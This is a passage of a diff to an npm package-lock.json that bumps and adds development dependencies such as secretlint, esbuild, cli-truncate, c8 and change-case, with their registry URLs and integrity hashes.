"^10.1.2", + "@secretlint/secretlint-rule-no-dotenv": "^10.1.2", + "@secretlint/secretlint-rule-preset-recommend": "^10.1.2", "@vscode/vsce-sign": "^2.0.0", "azure-devops-node-api": "^12.5.0", "chalk": "^4.1.2", @@ -2584,7 +2835,7 @@ "minimatch": "^3.0.3", "parse-semver": "^1.1.1", "read": "^1.0.7", - "secretlint": "^10.1.1", + "secretlint": "^10.1.2", "semver": "^7.5.2", "tmp": "^0.2.3", "typed-rest-client": "^1.8.4", @@ -2854,27 +3105,15 @@ } }, "node_modules/ansi-escapes": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", - "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.1.1.tgz", + "integrity": "sha512-Zhl0ErHcSRUaVfGUeUdDuLgpkEo8KIFjB4Y9uAc46ScOpdDiU1Dbyplh7qWJeJ/ZHpbyMSM26+X3BySgnIz40Q==", "dev": true, "dependencies": { - "type-fest": "^0.21.3" - }, - "engines": { - "node": ">=8" + "environment": "^1.0.0" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/ansi-escapes/node_modules/type-fest": { - "version": "0.21.3", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", - "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", - "dev": true, "engines": { - "node": ">=10" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" @@ -2903,9 +3142,9 @@ } }, "node_modules/anymatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", - "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", "dev": true, "dependencies": { "normalize-path": "^3.0.0", @@ -2916,9 +3155,9 @@ } }, "node_modules/aproba": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz", - "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", + "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==", "dev": true, "license": "ISC" }, @@ -3237,12 +3476,15 @@ "license": "Apache-2.0" }, "node_modules/binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", "dev": true, "engines": { "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/binaryextensions": { @@ -3317,9 +3559,9 @@ "dev": true }, "node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", "dev": true, "dependencies": { "balanced-match": "^1.0.0", @@ -3449,6 +3691,40 @@ "node": ">= 6" } }, + "node_modules/c8": { + "version": "10.1.3", + "resolved": "https://registry.npmjs.org/c8/-/c8-10.1.3.tgz", + "integrity": "sha512-LvcyrOAaOnrrlMpW22n690PUvxiq4Uf9WMhQwNJ9vgagkL/ph1+D4uvjvDA5XCbykrc0sx+ay6pVi9YZ1GnhyA==", + "dev": true, + "license": "ISC", + "dependencies": { + "@bcoe/v8-coverage": "^1.0.1", + "@istanbuljs/schema": "^0.1.3", + "find-up": "^5.0.0", + "foreground-child": "^3.1.1", + "istanbul-lib-coverage": "^3.2.0", + "istanbul-lib-report": "^3.0.1", + "istanbul-reports": "^3.1.6", + "test-exclude": "^7.0.1", + "v8-to-istanbul": "^9.0.0", + "yargs": "^17.7.2", + "yargs-parser": "^21.1.1" + }, + "bin": { + "c8": "bin/c8.js" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "monocart-coverage-reports": "^2" + }, + "peerDependenciesMeta": { + "monocart-coverage-reports": { + "optional": true + } + } + }, "node_modules/cacache": { "version": "16.1.3", "resolved": "https://registry.npmjs.org/cacache/-/cacache-16.1.3.tgz", @@ -3480,9 +3756,9 @@ } }, "node_modules/cacache/node_modules/brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, "license": "MIT", "dependencies": { @@ -3613,6 +3889,17 @@ "node": ">=6" } }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, "node_modules/camelcase": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", @@ -3625,14 +3912,16 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/case": { - "version": "1.6.3", - "resolved": "https://registry.npmjs.org/case/-/case-1.6.3.tgz", - "integrity": "sha512-mzDSXIPaFwVDvZAHqZ9VlbyF4yyXRuX6IvB06WvPYkqJVO24kX1PPhv9bfpKNFZyxYFmmgo03HUiD8iklmJYRQ==", + "node_modules/capital-case": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/capital-case/-/capital-case-1.0.4.tgz", + "integrity": "sha512-ds37W8CytHgwnhGGTi88pcPyR15qoNkOpYwmMMfnWqqWgESapLqvDx6huFjQ5vqWSn2Z06173XNA7LtMOeUh1A==", "dev": true, - "license": "(MIT OR GPL-3.0-or-later)", - "engines": { - "node": ">= 0.8.0" + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case-first": "^2.0.2" } }, "node_modules/chai": { @@ -3693,6 +3982,27 @@ "url": "https://github.com/chalk/chalk?sponsor=1" } }, + "node_modules/change-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/change-case/-/change-case-4.1.2.tgz", + "integrity": "sha512-bSxY2ws9OtviILG1EiY5K7NNxkqg/JnRnFxLtKQ96JaviiIxi7djMrSd0ECT9AC+lttClmYwKw53BWpOMblo7A==", + "dev": true, + "license": "MIT", + "dependencies": { + "camel-case": "^4.1.2", + "capital-case": "^1.0.4", + "constant-case": "^3.0.4", + "dot-case": "^3.0.4", + "header-case": "^2.0.4", + "no-case": "^3.0.4", + "param-case": "^3.0.4", + "pascal-case": "^3.1.2", + "path-case": "^3.0.4", + "sentence-case": "^3.0.4", + "snake-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "node_modules/check-error": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.3.tgz", @@ -3744,16 +4054,10 @@ } }, "node_modules/chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", "dev": true, - "funding": [ - { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } - ], "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", @@ -3766,6 +4070,9 @@ "engines": { "node": ">= 8.10.0" }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, "optionalDependencies": { "fsevents": "~2.3.2" } @@ -3846,28 +4153,26 @@ } }, "node_modules/cli-truncate": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-4.0.0.tgz", - "integrity": "sha512-nPdaFdQ0h/GEigbPClz11D0v/ZJEwxmeVZGeMo3Z5StPtUTkA9o1lD6QwoirYiSDzbcwn2XcjwmCp68W1IS4TA==", + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-5.1.1.tgz", + "integrity": "sha512-SroPvNHxUnk+vIW/dOSfNqdy1sPEFkrTk6TUtqLCnBlo3N7TNYYkzzN7uSD6+jVjrdO4+p8nH7JzH6cIvUem6A==", "dev": true, - "license": "MIT", "dependencies": { - "slice-ansi": "^5.0.0", - "string-width": "^7.0.0" + "slice-ansi": "^7.1.0", + "string-width": "^8.0.0" }, "engines": { - "node": ">=18" + "node": ">=20" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/cli-truncate/node_modules/ansi-regex": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", - "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", "dev": true, - "license": "MIT", "engines": { "node": ">=12" }, @@ -3876,11 +4181,10 @@ } }, "node_modules/cli-truncate/node_modules/ansi-styles": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", - "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", "dev": true, - "license": "MIT", "engines": { "node": ">=12" }, @@ -3888,67 +4192,58 @@ "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, - "node_modules/cli-truncate/node_modules/emoji-regex": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz", - "integrity": "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==", - "dev": true, - "license": "MIT" - }, "node_modules/cli-truncate/node_modules/is-fullwidth-code-point": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-4.0.0.tgz", - "integrity": "sha512-O4L094N2/dZ7xqVdrXhh9r1KODPJpFms8B5sGdJLPy664AgvXsreZUyCQQNItZRDlYug4xStLjNp/sz3HvBowQ==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", "dev": true, - "license": "MIT", + "dependencies": { + "get-east-asian-width": "^1.3.1" + }, "engines": { - "node": ">=12" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/cli-truncate/node_modules/slice-ansi": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-5.0.0.tgz", - "integrity": "sha512-FC+lgizVPfie0kkhqUScwRu1O/lF6NOgJmlCgK+/LYxDCTk8sGelYaHDhFcDN+Sn3Cv+3VSa4Byeo+IMCzpMgQ==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", "dev": true, - "license": "MIT", "dependencies": { - "ansi-styles": "^6.0.0", - "is-fullwidth-code-point": "^4.0.0" + "ansi-styles": "^6.2.1", + "is-fullwidth-code-point": "^5.0.0" }, "engines": { - "node": ">=12" + "node": ">=18" }, "funding": { "url": "https://github.com/chalk/slice-ansi?sponsor=1" } }, "node_modules/cli-truncate/node_modules/string-width": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", - "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.1.0.tgz", + "integrity": "sha512-Kxl3KJGb/gxkaUMOjRsQ8IrXiGW75O4E3RPjFIINOVH8AMl2SQ/yWdTzWwF3FevIX9LcMAjJW+GRwAlAbTSXdg==", "dev": true, - "license": "MIT", "dependencies": { - "emoji-regex": "^10.3.0", - "get-east-asian-width": "^1.0.0", + "get-east-asian-width": "^1.3.0", "strip-ansi": "^7.1.0" }, "engines": { - "node": ">=18" + "node": ">=20" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/cli-truncate/node_modules/strip-ansi": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", - "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", "dev": true, - "license": "MIT", "dependencies": { "ansi-regex": "^6.0.1" }, @@ -3964,7 +4259,6 @@ "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", "dev": true, - "license": "ISC", "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", @@ -3974,6 +4268,23 @@ "node": ">=12" } }, + "node_modules/cliui/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, "node_modules/cockatiel": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/cockatiel/-/cockatiel-3.1.2.tgz", @@ -3983,6 +4294,19 @@ "node": ">=16" } }, + "node_modules/color": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/color/-/color-5.0.2.tgz", + "integrity": "sha512-e2hz5BzbUPcYlIRHo8ieAhYgoajrJr+hWoceg6E345TPsATMUKqDgzt8fSXZJJbxfpiPzkWyphz8yn8At7q3fA==", + "dev": true, + "dependencies": { + "color-convert": "^3.0.1", + "color-string": "^2.0.0" + }, + "engines": { + "node": ">=18" + } + }, "node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", @@ -3999,6 +4323,27 @@ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, + "node_modules/color-string": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-2.1.2.tgz", + "integrity": "sha512-RxmjYxbWemV9gKu4zPgiZagUxbH3RQpEIO77XoSSX0ivgABDZ+h8Zuash/EMFLTI4N9QgFPOJ6JQpPZKFxa+dA==", + "dev": true, + "dependencies": { + "color-name": "^2.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/color-string/node_modules/color-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.0.2.tgz", + "integrity": "sha512-9vEt7gE16EW7Eu7pvZnR0abW9z6ufzhXxGXZEVU9IqPdlsUiMwJeJfRtq0zePUmnbHGT9zajca7mX8zgoayo4A==", + "dev": true, + "engines": { + "node": ">=12.20" + } + }, "node_modules/color-support": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", @@ -4009,12 +4354,32 @@ "color-support": "bin.js" } }, + "node_modules/color/node_modules/color-convert": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-3.1.2.tgz", + "integrity": "sha512-UNqkvCDXstVck3kdowtOTWROIJQwafjOfXSmddoDrXo4cewMKmusCeF22Q24zvjR8nwWib/3S/dfyzPItPEiJg==", + "dev": true, + "dependencies": { + "color-name": "^2.0.0" + }, + "engines": { + "node": ">=14.6" + } + }, + "node_modules/color/node_modules/color-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.0.2.tgz", + "integrity": "sha512-9vEt7gE16EW7Eu7pvZnR0abW9z6ufzhXxGXZEVU9IqPdlsUiMwJeJfRtq0zePUmnbHGT9zajca7mX8zgoayo4A==", + "dev": true, + "engines": { + "node": ">=12.20" + } + }, "node_modules/colorette": { "version": "2.0.20", "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", - "dev": true, - "license": "MIT" + "dev": true }, "node_modules/combined-stream": { "version": "1.0.8", @@ -4123,11 +4488,24 @@ "dev": true, "license": "ISC" }, + "node_modules/constant-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/constant-case/-/constant-case-3.0.4.tgz", + "integrity": "sha512-I2hSBi7Vvs7BEuJDr5dDHfzb/Ruj3FyvFyh7KLilAjNQw3Be+xgqUBA2W6scVEcL0hL1dwPRtIqEPVUCKkSsyQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case": "^2.0.2" + } + }, "node_modules/convert-source-map": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/core-util-is": { "version": "1.0.3", @@ -4573,9 +4951,9 @@ } }, "node_modules/del": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/del/-/del-8.0.0.tgz", - "integrity": "sha512-R6ep6JJ+eOBZsBr9esiNN1gxFbZE4Q2cULkUSFumGYecAiS6qodDvcPx/sFuWHMNul7DWmrtoEOpYSm7o6tbSA==", + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/del/-/del-8.0.1.tgz", + "integrity": "sha512-gPqh0mKTPvaUZGAuHbrBUYKZWBNAeHG7TU3QH5EhVwPMyKvmfJaNXhcD2jTcXsJRRcffuho4vaYweu80dRrMGA==", "dev": true, "dependencies": { "globby": "^14.0.2", @@ -4583,6 +4961,7 @@ "is-path-cwd": "^3.0.0", "is-path-inside": "^4.0.0", "p-map": "^7.0.2", + "presentable-error": "^0.0.1", "slash": "^5.1.0" }, "engines": { @@ -4593,13 +4972,14 @@ } }, "node_modules/del-cli": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/del-cli/-/del-cli-6.0.0.tgz", - "integrity": "sha512-9nitGV2W6KLFyya4qYt4+9AKQFL+c0Ehj5K7V7IwlxTc6RMCfQUGY9E9pLG6e8TQjtwXpuiWIGGZb3mfVxyZkw==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/del-cli/-/del-cli-7.0.0.tgz", + "integrity": "sha512-fRl4pWJYu9WFQH8jXdQUYvcD0IMtij9WEc7qmB7xOyJEweNJNuE7iKmqNeoOT1DbBUjtRjxlw8Y63qKBI/NQ1g==", "dev": true, "dependencies": { - "del": "^8.0.0", - "meow": "^13.2.0" + "del": "^8.0.1", + "meow": "^14.0.0", + "presentable-error": "^0.0.1" }, "bin": { "del": "cli.js", @@ -4658,9 +5038,9 @@ } }, "node_modules/diff": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", - "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.2.tgz", + "integrity": "sha512-sSuxWU5j5SR9QQji/o2qMvqRNYRDOcBTgsJ/DeCf4iSN4gW+gNMXM7wFIP+fdXZxoNiAnHUTGjCr+TSWXdRDKg==", "dev": true, "license": "BSD-3-Clause", "engines": { @@ -4735,6 +5115,17 @@ "url": "https://github.com/fb55/domutils?sponsor=1" } }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "node_modules/dunder-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", @@ -4764,14 +5155,15 @@ } }, "node_modules/editions": { - "version": "6.21.0", - "resolved": "https://registry.npmjs.org/editions/-/editions-6.21.0.tgz", - "integrity": "sha512-ofkXJtn7z0urokN62DI3SBo/5xAtF0rR7tn+S/bSYV79Ka8pTajIIl+fFQ1q88DQEImymmo97M4azY3WX/nUdg==", + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/editions/-/editions-6.22.0.tgz", + "integrity": "sha512-UgGlf8IW75je7HZjNDpJdCv4cGJWIi6yumFdZ0R7A8/CIhQiWUjyGLCxdHpd8bmyD1gnkfUNK0oeOXqUS2cpfQ==", "dev": true, "dependencies": { - "version-range": "^4.13.0" + "version-range": "^4.15.0" }, "engines": { + "ecmascript": ">= es5", "node": ">=4" }, "funding": { @@ -4783,8 +5175,14 @@ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" }, - "node_modules/encoding": { - "version": "0.1.13", + "node_modules/enabled": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/enabled/-/enabled-2.0.0.tgz", + "integrity": "sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ==", + "dev": true + }, + "node_modules/encoding": { + "version": "0.1.13", "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==", "dev": true, @@ -4804,9 +5202,9 @@ } }, "node_modules/enhanced-resolve": { - "version": "5.17.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.0.tgz", - "integrity": "sha512-dwDPwZL0dmye8Txp2gzFmA6sxALaSvdRDjPH0viLcKrtlOL3tw62nWWweVD1SdILDTJrbrL6tdWVN58Wo6U3eA==", + "version": "5.18.3", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.3.tgz", + "integrity": "sha512-d4lC8xfavMeBjzGr2vECC3fsGXziXZQyJxD868h2M/mBI3PwAuODxAkLkq5HYuvrPYcUtiLzsTo8U3PgX3Ocww==", "dev": true, "dependencies": { "graceful-fs": "^4.2.4", @@ -4840,7 +5238,6 @@ "resolved": "https://registry.npmjs.org/environment/-/environment-1.1.0.tgz", "integrity": "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==", "dev": true, - "license": "MIT", "engines": { "node": ">=18" }, @@ -4855,15 +5252,6 @@ "dev": true, "license": "MIT" }, - "node_modules/error-ex": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", - "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", - "dev": true, - "dependencies": { - "is-arrayish": "^0.2.1" - } - }, "node_modules/es-define-property": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", @@ -4966,9 +5354,9 @@ } }, "node_modules/esbuild": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.8.tgz", - "integrity": "sha512-vVC0USHGtMi8+R4Kz8rt6JhEWLxsv9Rnu/lGYbPR8u47B+DCBksq9JarW0zOO7bs37hyOK1l2/oqtbciutL5+Q==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", "dev": true, "hasInstallScript": true, "bin": { @@ -4978,32 +5366,32 @@ "node": ">=18" }, "optionalDependencies": { - "@esbuild/aix-ppc64": "0.25.8", - "@esbuild/android-arm": "0.25.8", - "@esbuild/android-arm64": "0.25.8", - "@esbuild/android-x64": "0.25.8", - "@esbuild/darwin-arm64": "0.25.8", - "@esbuild/darwin-x64": "0.25.8", - "@esbuild/freebsd-arm64": "0.25.8", - "@esbuild/freebsd-x64": "0.25.8", - "@esbuild/linux-arm": "0.25.8", - "@esbuild/linux-arm64": "0.25.8", - "@esbuild/linux-ia32": "0.25.8", - "@esbuild/linux-loong64": "0.25.8", - "@esbuild/linux-mips64el": "0.25.8", - "@esbuild/linux-ppc64": "0.25.8", - 